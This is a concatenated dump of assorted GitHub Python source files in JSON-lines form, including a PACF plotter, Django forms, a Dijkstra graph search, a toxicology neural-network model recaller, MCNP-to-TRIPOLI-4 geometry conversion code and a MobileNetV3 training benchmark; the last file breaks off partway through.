print(u)\n","repo_name":"EdmundLuan/CLF_CBF_NMPC_python","sub_path":"clf_cbf_nmpc.py","file_name":"clf_cbf_nmpc.py","file_ext":"py","file_size_in_byte":12359,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"48"} +{"seq_id":"5449725963","text":"import matplotlib\nmatplotlib.use('agg')\nfrom matplotlib import pyplot\nfrom statsmodels.graphics.tsaplots import plot_pacf\nfrom statsmodels.tsa.stattools import pacf\nimport secrets\nimport os\nimport pandas as pd\n\nUPLOAD_FOLDER = 'temp_files'\n\ndef pacf_plot(series, lags):\n uppath = lambda _path, n: os.sep.join(_path.split(os.sep)[:-n])\n root = uppath(__file__, 2)\n \n plot_pacf(series, lags=lags)\n filename = secrets.token_hex(8)+'.png'\n figure_name = os.path.join(root, 'static','images', filename)\n pyplot.tight_layout()\n pyplot.savefig(figure_name)\n pyplot.close()\n return filename\n\ndef data_pacf(series, lags, rd):\n autocorr = list(pacf(series, nlags = lags))\n df_output = pd.DataFrame({'Lag': range(lags + 1),\n 'Autocorrelacao': autocorr})\n return autocorr, df_output\n","repo_name":"mariliamonteiro/pfc_timeseries","sub_path":"algos/pacf.py","file_name":"pacf.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"16500910396","text":"import os\nimport json\n\n\ndef setStyle(styleName, ui):\n styleDir = os.path.dirname(__file__)\n\n with open(\"{}/{}.qss\".format(styleDir, styleName), \"r\") as sf, open(\n \"{}/{}Vars.json\".format(styleDir, styleName), \"r\"\n ) as jf:\n strStyle, vData = sf.read(), json.load(jf)\n for var in vData:\n value = vData[var]\n if \"IMAGE_DIR\" in value:\n value = value.replace(\n \"IMAGE_DIR\", __file__.rsplit(\"\\\\\", 2)[0] + \"\\\\images\\\\\"\n )\n strStyle = strStyle.replace(var, value)\n ui.setStyleSheet(strStyle)\n","repo_name":"Picklelord/pipe","sub_path":"QtUtils/styles/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37945286419","text":"from django import forms\n\nfrom .models import Exam, ExamFile\n\nclass ExamForm(forms.ModelForm):\n\tclass Meta:\n\t\tmodel = Exam\n\t\tfields = ['exam_number']\n\t\twidgets = {\n\t\t'exam_number': forms.NumberInput(\n\t\t\tattrs={'id': 'exam_number', 'required': True,})\n\t\t}\n\nclass FileForm(forms.ModelForm):\n\tclass Meta:\n\t\tmodel = ExamFile\n\t\tfields = ['exam_file']\n\t\twidgets = {\n\t\t'exam_file': forms.ClearableFileInput(\n\t\t\tattrs={'multiple': True, 'required': True,})\n\t\t}","repo_name":"MroxCo/ledina","sub_path":"ledina/exams/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"484346363","text":"import pickle \r\nfrom pickle import * \r\n\r\n\"\"\"class factura:\r\n\r\n\tdef __init__ (self, numFac, ptv, fecFac, totalFac):\r\n\t\tself.numFac\r\n\t\tself.ptv \t\t= 0\r\n\t\tself.fecFac \t= {}\r\n\t\tself.letrafac \t= \"\"\r\n\t\tself.cliente \t= 0\r\n\t\tself.totalFac \t= 0\r\n\t\tself.articulo \t= \"\"\r\n\r\n\tdef __str__():\r\n\t\treturn \"{} {} {} {} {} {} {} {}\".format(self.numFac, self.ptv, self.fecFac, self.letrafac, self.cliente, self.totalFac, self.articulo)\r\n\r\n\t#def validarFactura(self, numFac, ptv, fecFac, cliente, totalFac):\r\n\t\t#if self.numFac > 0 \"\"\"\r\n\r\nclass cliente:\r\n\r\n\tdef __init__ (self, nombre, apellido, edad, genero):\r\n\t\tself.nombre = nombre\r\n\t\tself.apellido = apellido\r\n\t\tself.edad = edad\r\n\t\tself.genero = genero\r\n\t\tprint(\"Se ha generado un nuevo cliente con el nombre : \" , self.nombre)\r\n\r\n\tdef __str__(self):\r\n\t\treturn \"{} {} {} {} \".format(self.nombre, self.apellido, self.edad, self.genero)\r\n\t \t\r\n\r\n\"\"\"esta lista contendra los clientes que estan en el sistema\"\"\" \t\r\n\r\nclass misClientes:\r\n\r\n\tlista_clientes=[]\r\n\r\n\tdef __init__(self):\r\n\r\n\t\tlistaDeClientes = open(\"ficheroExterno\", \"ab+\")\r\n\t\tlistaDeClientes.seek(0)\t\r\n\r\n\t\ttry: \r\n\t\t\tself.lista_clientes = pickle.load(listaDeClientes)\r\n\t\t\tprint(\"Se cargaron {} clientes en el fichero externo\".format(len(self.lista_clientes)))\r\n\r\n\t\texcept:\r\n\t\t\tprint(\"La lista esta vacia\")\r\n\r\n\t\tfinally:\r\n\t\t\tlistaDeClientes.close()\r\n\r\n\tdef agregarcliente(self , persona ):\r\n\t\tself.lista_clientes.append(persona)\r\n\t\tself.guardarclientesenficheroexterno()\r\n\r\n\tdef mostrarcliente(self):\r\n\t\tfor persona in self.lista_clientes:\r\n\t\t\tprint(persona)\r\n\r\n\tdef guardarclientesenficheroexterno(self):\r\n\t\tlistadeclientes=open(\"ficheroExterno\", \"wb+\")\r\n\t\tpickle.dump(self.lista_clientes, listadeclientes)\r\n\t\tlistadeclientes.close()\r\n\r\n\tdef mostrarInfoFicheroExterno(self):\r\n\t\tprint(\"se ha cargado la informacion del fichero externo\")\r\n\t\tfor persona in self.lista_clientes:\r\n\t\t\tprint(persona)\r\n\r\nmiLista = misClientes()\r\npersona = cliente( \"Sandra\", \"Ramirez\", 28, \"Femenino\")\r\nmiLista.agregarcliente(persona)\r\npersona = cliente( \"Pedro\", \"Bello\", 50, \"Masculino\")\r\nmiLista.agregarcliente(persona)\r\npersona = cliente( \"Nani\", \"Perez\", 25, \"Femenino\")\r\nmiLista.agregarcliente(persona)\r\npersona = cliente( \"Alfredo\", \"Justo\", 36, \"Masculino\")\r\nmiLista.agregarcliente(persona)\r\npersona = cliente( \"Nair\", \"Gonzalez\", 20, \"Femenino\")\r\nmiLista.agregarcliente(persona)\r\npersona = cliente( \"Yairo\", \"Yames\", 30, \"Masculino\")\r\nmiLista.agregarcliente(persona)\r\npersona = cliente( \"Milena\", \"Ramos\", 22, \"Femenino\")\r\nmiLista.agregarcliente(persona)\r\npersona = cliente( \"Nicolas\", \"Neron\", 31, \"Masculino\")\r\nmiLista.agregarcliente(persona)\r\npersona = cliente( \"Liliana\", \"Pinzon\", 28, \"Femenino\")\r\nmiLista.agregarcliente(persona)\r\n\r\nmiLista.mostrarcliente()\r\nmiLista.mostrarInfoFicheroExterno()\r\n\r\n\r\n\r\n","repo_name":"chulth/Excercises","sub_path":"Pro_py/Fac/Fac.py","file_name":"Fac.py","file_ext":"py","file_size_in_byte":2788,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42663871848","text":"import time\n\nclass Node:\n def __init__(self, label, adjacencies, index):\n self.label = label\n self.adjacencies = adjacencies\n self.distance = float(\"Inf\")\n self.previous = None\n self.index = index\n\n def resetDistance(self, node):\n if node.distance + node.adjacencies[self.label] < self.distance:\n self.distance = node.distance + node.adjacencies[self.label]\n self.previous = node\n\n def getPath(self):\n if self.previous is not None:\n return self.previous.getPath()+[self.label]\n return []\n\n def __cmp__(self, other):\n return cmp(self.distance, other.distance)\n \n\nclass WeightedGraph:\n def __init__(self, adjacency_dict):\n self.adjacency_dict = adjacency_dict\n\n def path(self, a, b):\n unvisited = [Node(key, self.adjacency_dict[key], index) for index, key in enumerate([key for key in self.adjacency_dict.keys() if key != a])]\n unvisited_map = {key: value for (key, value) in [(node.label, node) for node in unvisited]}\n \n current = Node(a, self.adjacency_dict[a],0)\n current.distance = 0\n return self._path_primed(b, unvisited, unvisited_map, current)\n\n def _path_primed(self, b, unvisited, unvisited_map, current, pops = 0):\n for next_vertex in current.adjacencies.keys():\n try:\n unvisited_map[next_vertex].resetDistance(current)\n bubbleup(unvisited, pops, unvisited_map[next_vertex].index)\n except KeyError as e:\n pass\n\n current = unvisited[pops]\n unvisited_map.pop(current.label)\n \n if current.label == b:\n return current\n\n elif current.distance == float(\"Inf\"):\n return None\n \n return self._path_primed(b, unvisited, unvisited_map, current, pops = pops+1)\n\n \n\ndef bubbleup(heap, startpos, pos):\n pos_calc = pos - startpos\n parentpos = (pos_calc-1)/2 + startpos\n while parentpos >= startpos and heap[pos] < heap[parentpos]:\n heap[pos], heap[parentpos] = heap[parentpos], heap[pos]\n heap[pos].index = pos\n heap[parentpos].index = parentpos\n pos = parentpos\n pos_calc = pos - startpos\n parentpos = (pos_calc-1)/2 + startpos\n \n \n","repo_name":"Markus28/Algorithms-Design-and-Analysis","sub_path":"pathFinding.py","file_name":"pathFinding.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34390806437","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nModel_Recaller.py\r\n\r\nauthor: Timothy E H Allen & Elena Gelzintye\r\n\"\"\"\r\n\r\n# Import modules\r\n\r\nimport tensorflow as tf\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom scipy.spatial import distance\r\n\r\n# DEFINE INPUTS FOR MODEL RECALL\r\n\r\n'''\r\ntrainging_data = oringinal training data for similarity calculations (.csv)\r\nprediction_data = fingerprints to make predictions on (.csv)\r\nmodel_location = model file (.h5)\r\nprediction_output_location = file to write predictions to (.csv)\r\nnetwork_activation_strings = location to put activation strings for prediction compounds\r\nnetwork_activation_strings_training = location to put activation strings for training compounds\r\nsimilarity_output_location = location to put similarity outputs\r\n'''\r\n\r\ntraining_data = \"/content/drive/My Drive/data/AR fingerprints ECFP6.csv\"\r\nprediction_data = \"/content/drive/My Drive/data/AR validation fingerprints ECFP6.csv\"\r\nmodel_location = \"/content/drive/My Drive/data/AR model 1.h5\"\r\nprediction_output_location = \"/content/drive/My Drive/data/AR model 1 predictions.csv\"\r\nnetwork_activation_strings = \"/content/drive/My Drive/data/AR model 1 NAS\"\r\nnetwork_activation_strings_training = \"/content/drive/My Drive/data/AR model 1 NAS Training\"\r\nsimilarity_output_location = \"/content/drive/My Drive/data/AR model 1 similarities\"\r\n\r\nprint(\"Welcome to ChAI\")\r\nprint(\"Dataset loading...\")\r\n\r\n# Reading the prediction dataset\r\n\r\ndef read_prediction_dataset():\r\n df = pd.read_csv(prediction_data)\r\n #print(len(df.columns))\r\n X = df[df.columns[0:5000]].values\r\n y1 = df[df.columns[5000]]\r\n\r\n # Encode the dependent variable\r\n encoder = LabelEncoder()\r\n encoder.fit(y1)\r\n y = encoder.transform(y1)\r\n Y = one_hot_encode(y)\r\n print(\"X.shape =\", X.shape)\r\n print(\"Y.shape =\", Y.shape)\r\n print(\"y.shape =\", y.shape)\r\n return (X, Y, y1)\r\n\r\n# Define the encoder function\r\n\r\ndef one_hot_encode(labels):\r\n n_labels = len(labels)\r\n n_unique_labels = len(np.unique(labels))\r\n one_hot_encode = np.zeros((n_labels, n_unique_labels))\r\n one_hot_encode[np.arange(n_labels), labels] = 1\r\n return one_hot_encode\r\n\r\nX, Y, y1 = read_prediction_dataset()\r\n\r\nn_compounds = X.shape[0]\r\nn_dim = X.shape[1]\r\nn_class = 2\r\n\r\nprint(\"Imput\", n_compounds, \"compounds for prediction\")\r\n\r\n# Call and use pretrained model\r\n\r\npretrained_model = tf.keras.models.load_model(model_location)\r\npretrained_model.summary()\r\ny = pretrained_model.predict(X, verbose=1)\r\n\r\ny_ten = tf.convert_to_tensor(y, dtype=tf.float32)\r\ny1_ten = tf.convert_to_tensor(Y, dtype=tf.float32)\r\n\r\nwith tf.Session() as sess:\r\n prediction = sess.run(tf.argmax(y_ten, 1))\r\n accuracy = sess.run(tf.cast(tf.equal(tf.argmax(y_ten, 1), tf.argmax(y1_ten, 1)), tf.float32))\r\n total_accuracy = str(sess.run(tf.reduce_mean(accuracy)))\r\n\r\n\r\noriginal_class = y1.values\r\nprint(\"Overall Model Accuracy = \" + total_accuracy)\r\n\r\nf = open(prediction_output_location, 'w+')\r\n\r\nprint(\"Model Recall Initialized\")\r\n\r\nprint(\"**************************************************\")\r\nprint(\"0 stands for miss & 1 stands for hit at the target\")\r\nprint(\"**************************************************\")\r\ni=0\r\n\r\nfor i in range(0,n_compounds):\r\n print(\"Original Class : \", original_class[i], \"Predicted Values : \", prediction[i], \"Accuracy : \", accuracy[i], \"Probability Active : \", y[i,1])\r\n print(\"Original Class,\", original_class[i], \",Predicted Values,\", prediction[i], \",Accuracy,\", accuracy[i], \",Probability Active,\", y[i,1] , file=f)\r\n\r\nf.close()\r\n\r\nprint('commencing similarity calculation')\r\n\r\ndef read_training_dataset():\r\n df = pd.read_csv(training_data)\r\n #print(len(df.columns))\r\n A = df[df.columns[0:5000]].values\r\n b1 = df[df.columns[5000]]\r\n\r\n # Encode the dependent variable\r\n encoder = LabelEncoder()\r\n encoder.fit(b1)\r\n b = encoder.transform(b1)\r\n B = one_hot_encode(b)\r\n print(\"A.shape =\", A.shape)\r\n print(\"B.shape =\", B.shape)\r\n print(\"b.shape =\", b.shape)\r\n return (A, B, b1)\r\n\r\nA, B, b1 = read_training_dataset()\r\n\r\nreceptor='AR'\r\nmethod='random split'\r\nfold=1\r\n\r\n# Define functions for similarity calculations\r\n\r\ndef layer_propagation(x, weight, bias, function):\r\n \r\n '''with given x (from previous layer or from input) and given weights and biases\r\n propagates one layer. NB tensor dimensions must match '''\r\n \r\n layer=tf.add(tf.matmul(x, weight), bias)\r\n if function=='relu':\r\n layer=tf.nn.relu(layer)\r\n elif function=='sigmoid':\r\n layer=tf.nn.sigmoid(layer) \r\n \r\n return layer\r\n\r\ndef get_euclidean_dist_mx(string1, string2):\r\n similarities=np.zeros((len(string1), len(string2)))\r\n for no_1 in range(0, len(string1)):\r\n for no_2 in range(0, len(string2)):\r\n \r\n similarities[no_1, no_2]=distance.euclidean(string1[no_1],string2[no_2])\r\n \r\n return similarities\r\n\r\n# Get weights and biases from keras model\r\n \r\nno_hidden_layers = len(pretrained_model.layers) - 2\r\n\r\nif no_hidden_layers == 1:\r\n weights_h1 = pretrained_model.layers[1].get_weights()[0]\r\n biases_b1 = pretrained_model.layers[1].get_weights()[1]\r\n \r\nelif no_hidden_layers == 2:\r\n weights_h1 = pretrained_model.layers[1].get_weights()[0]\r\n biases_b1 = pretrained_model.layers[1].get_weights()[1]\r\n weights_h2 = pretrained_model.layers[2].get_weights()[0]\r\n biases_b2 = pretrained_model.layers[2].get_weights()[1]\r\n\r\nelse:\r\n weights_h1 = pretrained_model.layers[1].get_weights()[0]\r\n biases_b1 = pretrained_model.layers[1].get_weights()[1]\r\n weights_h2 = pretrained_model.layers[2].get_weights()[0]\r\n biases_b2 = pretrained_model.layers[2].get_weights()[1]\r\n weights_h3 = pretrained_model.layers[3].get_weights()[0]\r\n biases_b3 = pretrained_model.layers[3].get_weights()[1]\r\n\r\n# Get network activation strings\r\n\r\nX_val=X.astype(np.float32)\r\nA_val=A.astype(np.float32)\r\n\r\nn_samples=len(X_val)\r\n\r\nlen_fp=X_val.shape[1] \r\n\r\n# Get strings for validation compounds\r\n \r\nfingerprint = tf.placeholder(tf.float32, [None, len_fp], name='fp_placehold')\r\n\r\nif no_hidden_layers == 1:\r\n activ_funs=('sigmoid')\r\n A1=layer_propagation(X_val, weights_h1, biases_b1, activ_funs[0])\r\n\r\n with tf.Session() as sess:\r\n A1=sess.run(A1)\r\n\r\n joint=A1\r\n \r\nelif no_hidden_layers == 2:\r\n activ_funs=('sigmoid', 'relu')\r\n A1=layer_propagation(X_val, weights_h1, biases_b1, activ_funs[0])\r\n A2=layer_propagation(A1, weights_h2, biases_b2, activ_funs[1])\r\n\r\n with tf.Session() as sess:\r\n A1=sess.run(A1)\r\n A2=sess.run(A2)\r\n\r\n joint_temp=np.concatenate(([A1], [A2]), axis=2)\r\n joint = np.squeeze(joint_temp, axis = 0)\r\n\r\nelse:\r\n activ_funs=('sigmoid', 'sigmoid', 'relu')\r\n A1=layer_propagation(X_val, weights_h1, biases_b1, activ_funs[0])\r\n A2=layer_propagation(A1, weights_h2, biases_b2, activ_funs[1])\r\n A3=layer_propagation(A2, weights_h3, biases_b3, activ_funs[2])\r\n \r\n with tf.Session() as sess:\r\n A1=sess.run(A1)\r\n A2=sess.run(A2)\r\n A3=sess.run(A3)\r\n\r\n joint_temp=np.concatenate(([A1], [A2], [A3]), axis=2)\r\n joint = np.squeeze(joint_temp, axis = 0)\r\n \r\nprint(joint.shape)\r\nprint(type(joint))\r\nprint(joint)\r\n\r\nnp.save(network_activation_strings.format(receptor, method, fold), joint)\r\n\r\n# Get strings for training compounds\r\n \r\nfingerprint_train = tf.placeholder(tf.float32, [None, len_fp], name='fp_placehold')\r\n\r\nif no_hidden_layers == 1:\r\n A1_train=layer_propagation(A_val, weights_h1, biases_b1, activ_funs[0])\r\n\r\n with tf.Session() as sess:\r\n A1_train=sess.run(A1_train)\r\n\r\n joint_train=A1_train\r\n \r\nelif no_hidden_layers == 2:\r\n A1_train=layer_propagation(A_val, weights_h1, biases_b1, activ_funs[0])\r\n A2_train=layer_propagation(A1_train, weights_h2, biases_b2, activ_funs[1])\r\n\r\n with tf.Session() as sess:\r\n A1_train=sess.run(A1_train)\r\n A2_train=sess.run(A2_train)\r\n\r\n joint_train_temp=np.concatenate(([A1_train], [A2_train]), axis=2)\r\n joint_train = np.squeeze(joint_train_temp, axis = 0)\r\n\r\nelse:\r\n A1_train=layer_propagation(A_val, weights_h1, biases_b1, activ_funs[0])\r\n A2_train=layer_propagation(A1_train, weights_h2, biases_b2, activ_funs[1])\r\n A3_train=layer_propagation(A2_train, weights_h3, biases_b2, activ_funs[2])\r\n\r\n with tf.Session() as sess:\r\n A1_train=sess.run(A1_train)\r\n A2_train=sess.run(A2_train)\r\n A3_train=sess.run(A3_train)\r\n\r\n joint_train_temp=np.concatenate(([A1_train], [A2_train], [A3_train]), axis=2)\r\n joint_train = np.squeeze(joint_train_temp, axis = 0)\r\n\r\nprint(joint_train.shape)\r\nprint(type(joint_train))\r\nprint(joint_train)\r\n\r\nnp.save(network_activation_strings_training.format(receptor, method, fold), joint)\r\n\r\n#generate similarity matrix - takes a while\r\n\r\nprint(\"Generating similarity matrix\")\r\nntw_eucl_dist=get_euclidean_dist_mx(joint, joint_train)\r\nntw_eucl_sim=1/(1+ntw_eucl_dist)\r\n\r\nnp.save(similarity_output_location + \".npy\".format(receptor, method, fold), ntw_eucl_sim)\r\n\r\nntw_eucl_sim=np.load(similarity_output_location + \".npy\".format(receptor, method, fold))\r\n\r\n#convert to dataframe, save as csv\r\n\r\nprint(\"Saving dataframe as CSV\")\r\nntw_eucl_sim_pandas=pd.DataFrame(ntw_eucl_sim)\r\nntw_eucl_sim_pandas.to_csv(similarity_output_location + \".csv\".format(receptor, method, fold))\r\n\r\n#Endgame\r\n\r\nprint(\"END\")\r\n","repo_name":"teha2/chemical_toxicology","sub_path":"MIE NN Models Oct 2019/Model_Recaller.py","file_name":"Model_Recaller.py","file_ext":"py","file_size_in_byte":9593,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"5594795051","text":"from ..Progress import Progress\nfrom ..FileHandlers.Parser.ParseMCNPCell import ParseMCNPCell\nfrom ..Surface.SurfaceT4 import SurfaceT4\nfrom ..Surface.ESurfaceTypeT4 import ESurfaceTypeT4 as T4S\nfrom ..Surface.SurfaceConversionError import SurfaceConversionError\nfrom .DictVolumeT4 import DictVolumeT4\nfrom .CellConversion import CellConversion\nfrom .CellConversionError import CellConversionError\nfrom .ByUniverse import by_universe\nfrom .CellInlining import inline_cells\n\n\ndef construct_volume_t4(mcnp_parser, lattice_params, cell_cache_path,\n dic_surface_t4, dic_surface_mcnp, inline_filled,\n inline_filling, max_inline_score):\n '''A function that orchestrates the conversion steps for TRIPOLI-4\n volumes.'''\n dic_vol_t4 = DictVolumeT4()\n mcnp_dict, skipped_cells = ParseMCNPCell(mcnp_parser, cell_cache_path,\n lattice_params).parse()\n\n free_key = max(int(k) for k in mcnp_dict) + 1\n free_surf_key = max(max(int(k) for k in dic_surface_mcnp) + 1,\n max(int(k) for k in dic_surface_t4) + 1)\n conv = CellConversion(free_key, free_surf_key, dic_vol_t4,\n dic_surface_t4, dic_surface_mcnp, mcnp_dict)\n\n # treat TRCL\n trcl_keys = [key for key, value in mcnp_dict.items()\n if value.trcl is not None]\n if trcl_keys:\n with Progress('applying TRCL transformation to cell',\n len(trcl_keys), max(trcl_keys)) as progress:\n for i, key in enumerate(trcl_keys):\n progress.update(i, key)\n cell = mcnp_dict[key]\n cell.geometry = conv.apply_trcl(cell.trcl, cell.geometry)\n mcnp_dict[key] = cell\n\n # treat complements\n with Progress('converting complement for cell',\n len(mcnp_dict), max(mcnp_dict)) as progress:\n for i, key in enumerate(mcnp_dict):\n progress.update(i, key)\n new_geom = conv.pot_complement(mcnp_dict[key].geometry)\n mcnp_dict[key].geometry = new_geom\n\n # treat LAT\n lat_cells = [key for key, value in mcnp_dict.items() if value.lattice]\n if lat_cells:\n with Progress('developing lattice in cell',\n len(lat_cells), max(lat_cells)) as progress:\n for i, key in enumerate(lat_cells):\n progress.update(i, key)\n conv.develop_lattice(key)\n\n # treat FILL\n dict_universe = by_universe(mcnp_dict)\n fill_keys = [key for key, value in mcnp_dict.items()\n if value.fillid is not None and value.universe == 0]\n if fill_keys:\n with Progress('developing fill in cell',\n len(fill_keys), max(fill_keys)) as progress:\n for i, key in enumerate(fill_keys):\n progress.update(i, key)\n try:\n conv.pot_fill(key, dict_universe, inline_filled,\n inline_filling)\n except SurfaceConversionError as err:\n raise SurfaceConversionError(f'{err} (while converting '\n f'cell {key})') from None\n\n # consider inlining cells\n inline_cells(mcnp_dict, max_inline_score)\n\n conv_keys = [(key, value) for key, value in mcnp_dict.items()\n if value.importance != 0 and value.universe == 0\n and value.fillid is None]\n\n t4_surf_numbering, matching = dic_surface_t4.number_items()\n # insert union planes into the T4 surface dictionary\n free_surf_id = max(int(k) for k in t4_surf_numbering) + 1\n union_ids = free_surf_id + 1, free_surf_id + 2\n t4_surf_numbering[union_ids[0]] = SurfaceT4(T4S.PLANEX,\n [1],\n ['aux plane for unions'])\n t4_surf_numbering[union_ids[1]] = SurfaceT4(T4S.PLANEX,\n [-1],\n ['aux plane for unions'])\n\n with Progress('converting cell', len(conv_keys),\n max(key for key, _ in conv_keys)) as progress:\n for i, (key, val) in enumerate(conv_keys):\n progress.update(i, key)\n try:\n j = conv.pot_convert(val, matching, union_ids)\n except CellConversionError as err:\n raise CellConversionError(f'{err} (while converting cell '\n f'{key})') from None\n if j is None:\n # the converted cell is empty\n continue\n dic_vol_t4[key] = dic_vol_t4[j].copy()\n dic_vol_t4[key].fictive = False\n\n return dic_vol_t4, mcnp_dict, t4_surf_numbering, skipped_cells\n\n\ndef remove_empty_volumes(dic_volume):\n '''Remove cells that are patently empty.'''\n removed = set()\n to_remove = [key for key, val in dic_volume.items()\n if val.empty() and (val.ops is None or val.ops[0] != 'UNION')]\n\n while to_remove:\n for key in to_remove:\n del dic_volume[key]\n removed |= set(to_remove)\n\n to_remove = []\n for key, val in dic_volume.items():\n if val.ops is None:\n continue\n if val.ops[0] == 'INTE' and any(x in removed for x in val.ops[1]):\n to_remove.append(key)\n elif val.ops[0] == 'UNION':\n new_args = tuple(cell for cell in val.ops[1]\n if cell not in removed)\n if new_args:\n val.ops = (val.ops[0], new_args)\n else:\n val.ops = None\n\n\ndef extract_used_surfaces(volumes):\n '''Return the IDs of the surfaces used in the given volumes, as a set.'''\n return set(surf for volume in volumes for surf in volume.surface_ids())\n\n\ndef remove_unused_volumes(dic):\n '''Remove unused virtual (``FICTIVE``) volumes from the given dictionary.\n This function modifies the given dictionary in place.\n\n :param DictVolumeT4 dic: a dictionary of :class:`~.VolumeT4` objects.\n\n >>> from .VolumeT4 import VolumeT4\n >>> dic = DictVolumeT4()\n >>> dic[1] = VolumeT4([], [], ops=['UNION', (2, 3)], fictive=False)\n >>> dic[2] = VolumeT4([], [], ops=None, fictive=True)\n >>> dic[3] = VolumeT4([], [], ops=None, fictive=True)\n >>> dic[4] = VolumeT4([], [], ops=None, fictive=True)\n >>> dic[5] = VolumeT4([], [], ops=None, fictive=False)\n >>> remove_unused_volumes(dic)\n >>> sorted(list(dic.keys()))\n [1, 2, 3, 5]\n '''\n fictives = set(key for key, volume in dic.items() if volume.fictive)\n used = set(key for volume in dic.values() if volume.ops is not None\n for args in volume.ops[1:] for key in args)\n unused = fictives - used\n for key in unused:\n del dic[key]\n","repo_name":"arekfu/t4_geom_convert","sub_path":"t4_geom_convert/Kernel/Volume/ConstructVolumeT4.py","file_name":"ConstructVolumeT4.py","file_ext":"py","file_size_in_byte":6887,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"25321837276","text":"import sysv_ipc as ipc\nimport struct\nimport time\nimport signal\nimport sys\nbuflen=17\nkey_out=789\nq_out = ipc.MessageQueue(key_out,ipc.IPC_CREAT)\nmsgstruct=struct.Struct(\"IIQ\")\nmsg=bytearray(buflen+msgstruct.size)\nmsgcont=bytes('abc','utf8')\nmsg[:len(msgcont)]=msgcont\ncount=0\nrunning=True\nprint(\"size: %d\\n\"%(msgstruct.size+buflen,))\ndef doquit(n,f):\n running=False\n sys.exit(0)\nsignal.signal(signal.SIGINT,doquit)\nwhile True:\n msg[-msgstruct.size:]=msgstruct.pack(len(msgcont),200+count,300+count)\n if (running):\n count += 1\n print(msg)\n q_out.send(bytes(msg),block=True,type=1)\n time.sleep(2)\n else:\n break\n","repo_name":"mondaugen/midi_proc_msgq","sub_path":"c_to_py_msg.py","file_name":"c_to_py_msg.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19839383248","text":"import timm\nimport torch\nimport torchvision.transforms as transforms\nimport torch.optim as optim\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport time\n\n# DEVICE = \"cpu\" if torch.cuda.is_available() else \"cpu\"\ndef train_one_epoch(DEVICE):\n \n model = timm.create_model('mobilenetv3_small_100').to(DEVICE)\n inputs= torch.randn(2, 3, 224, 224).to(DEVICE)\n labels = torch.tensor([1.,0.]).unsqueeze(-1).to(DEVICE)\n criterion = nn.CrossEntropyLoss()\n optimizer = optim.SGD(model.parameters(), lr=0.001, momentum=0.9)\n model.train()\n time_list = []\n epoch_time = 0\n count_number = 0\n print('Start Training')\n for epoch in range(11): # loop over the dataset multiple times\n start_time = time.perf_counter()\n running_loss = 0.0\n # get the inputs; data is a list of [inputs, labels]\n # inputs, labels = data\n\n # zero the parameter gradients\n optimizer.zero_grad()\n # forward + backward + optimize\n outputs = model(inputs).topk(k=1,dim=1)\n loss = criterion(outputs[0], labels)\n loss.backward()\n optimizer.step()\n\n # print statistics\n running_loss += loss.item()\n # if i % 2000 == 1999: # print every 2000 mini-batches\n print(f'[{epoch + 1}] loss: {running_loss:.3f}')\n running_loss = 0.0\n\n epoch_time += time.perf_counter() - start_time\n time_list.append(epoch_time)\n epoch_time = 0\n count_number += 1\n print('Finished Training')\n return time_list\n\nif __name__ == '__main__':\n print(train_one_epoch())","repo_name":"xiyiyia/rasp-multi-task-benchmark","sub_path":"rasp-multi-task-benchmark/mobinetv3Classify.py","file_name":"mobinetv3Classify.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74622897105","text":"import math\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport copy\nimport torchvision\nfrom torch.utils.data import DataLoader, Dataset\nfrom torchvision import transforms\nimport math\nfrom sklearn.manifold import TSNE\nfrom sklearn.decomposition import PCA\nimport time\nimport os\n\nfrom progressbar import ProgressBar\nimport torch.optim.lr_scheduler as lr_scheduler\nfrom prettytable import PrettyTable\n\nfrom PIL import Image\nfrom matplotlib.cm import get_cmap\nfrom tensorboardX import SummaryWriter as Logger\nfrom typing import Optional, Sequence\nimport torch\nimport torch.nn as nn\n# from kernels import optimal_kernel_combinations\n# from kernels import GaussianKernel\nfrom typing import Optional, List\nfrom qpsolvers import solve_qp\n\n\n\n\nclass GaussianKernel(nn.Module):\n r\"\"\"Gaussian Kernel Matrix\n\n Gaussian Kernel k is defined by\n\n .. math::\n k(x_1, x_2) = \\exp \\left( - \\dfrac{\\| x_1 - x_2 \\|^2}{2\\sigma^2} \\right)\n\n where :math:`x_1, x_2 \\in R^d` are 1-d tensors.\n\n Gaussian Kernel Matrix K is defined on input group :math:`X=(x_1, x_2, ..., x_m),`\n\n .. math::\n K(X)_{i,j} = k(x_i, x_j)\n\n Also by default, during training this layer keeps running estimates of the\n mean of L2 distances, which are then used to set hyperparameter :math:`\\sigma`.\n Mathematically, the estimation is :math:`\\sigma^2 = \\dfrac{\\alpha}{n^2}\\sum_{i,j} \\| x_i - x_j \\|^2`.\n If :attr:`track_running_stats` is set to ``False``, this layer then does not\n keep running estimates, and use a fixed :math:`\\sigma` instead.\n\n Parameters:\n - sigma (float, optional): bandwidth :math:`\\sigma`. Default: None\n - track_running_stats (bool, optional): If ``True``, this module tracks the running mean of :math:`\\sigma^2`.\n Otherwise, it won't track such statistics and always uses fix :math:`\\sigma^2`. Default: ``True``\n - alpha (float, optional): :math:`\\alpha` which decides the magnitude of :math:`\\sigma^2` when 